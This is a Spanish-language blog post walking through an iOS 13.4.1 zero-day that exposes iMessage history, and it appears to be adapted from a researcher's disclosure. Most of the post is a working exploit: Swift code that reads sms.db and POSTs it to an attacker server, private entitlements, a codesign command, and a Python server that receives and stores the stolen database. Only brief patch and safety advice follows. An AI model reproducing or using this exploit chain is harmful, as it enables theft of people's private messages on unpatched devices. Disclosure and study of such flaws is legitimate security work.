Warning⚠ : Vulnerabilidad en iOS permite el robo de mensajes
El pionero de la seguridad y autor del Jailbreak Siguza nos sigue sorprendiendo con sus grandes descubrimientos en el mundo de la seguridad en IOS, y el día de hoy nos ha traído una nueva versión 13.4.1 de IOS que permite realizar un robo de el historial de iMessage.
Siguza expuso la vulnerabilidad en twitter:
Siguza menciona que este 0day fue parchado en la versión de iOS 13.5 beta3.En este pos les demostraremos como aprovechando un bug mediante programar una aplicación se podrá tener acceso a este 0day y robar los mensajes de iMessage.
Plan de ataque
Crear una aplicación que cargue la base de datos “sms.db” y mande a nuestro servidor.
Firmar la aplicación con el código malicioso.
Instalar la aplicación en el dispositivo.
Encender el servidor.
Acceder a la base de datos.
Explotación
Creamos una aplicación simple en swift escrita por Wojciech Reguła
import SwiftUI struct ContentView: View { @State var serverURLString: String = "" var body: some View { VStack() { Text(""" iMessage DB stealing PoC\n based on @s1guza's tweet\n coded by @_r3ggi """).multilineTextAlignment(.center) TextField("Server URL", text: $serverURLString).padding(.all, 40).textFieldStyle(RoundedBorderTextFieldStyle()) Button(action: { sendPostData(serverURLString: self.serverURLString) }) { Text("Send your sms.db!") } } } } func sendPostData(serverURLString: String) { let messagesPath = "/private/var/mobile/Library/SMS/sms.db" let messagesURL = URL(fileURLWithPath: messagesPath) let serverURL = URL(string: serverURLString) var request = URLRequest(url: serverURL!) request.httpMethod = "POST" do { if FileManager.init().isReadableFile(atPath: messagesPath) { let rawMessagesDB = try Data(contentsOf: messagesURL) request.httpBody = rawMessagesDB } else { request.httpBody = "Nope".data(using: .utf8) } } catch {} let task = URLSession.shared.dataTask(with: request) { (data, response, error) in if let error = error { print("Error took place \(error)") return } } task.resume() }
Después de compilar la aplicación creamos el siguiente archivo de permisos:
application-identifier [redacted].blog.wojciechregula.SandboxEscape platform-application com.apple.private.security.no-container com.apple.private.security.storage.Messages
Firmamos la apliación
codesign -d --entitlements entitlements.xml SandboxEscape.app -f -s "Apple Development: wojciechregula.blog [redacted]"
Teniendo la aplicación firmada procedemos a subirla al dispositivo
Ya instalada la aplicación inicializamos un servidor python para recibir la base de datos.
from http.server import HTTPServer, BaseHTTPRequestHandler class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(b'Hello, world!') def do_POST(self): print("RECEIVING!!!") content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) with open("./sms.db", "wb") as f: f.write(body) httpd = HTTPServer(('192.168.0.14', 8888), SimpleHTTPRequestHandler) httpd.serve_forever()
Con el server inicializado abrimos la aplicación
Una vez abierta la aplicación se guardara la base de datos en el servidor y verificamos el contenido de la base de datos con un gestor de SqlLite
¿Comó podemos estar a salvo?
Hasta el momento la única forma para mantener a salvo la integridad de tu iphone con ios 13.4.1 es no instalar aplicaciones sospechosas y esperar a la siguiente actualización de ios 13.5.
Referencias:
Recuperado de Stealing your 0SMS messages whit ios 0day, Wojciech Reguła,Abril 30, 2020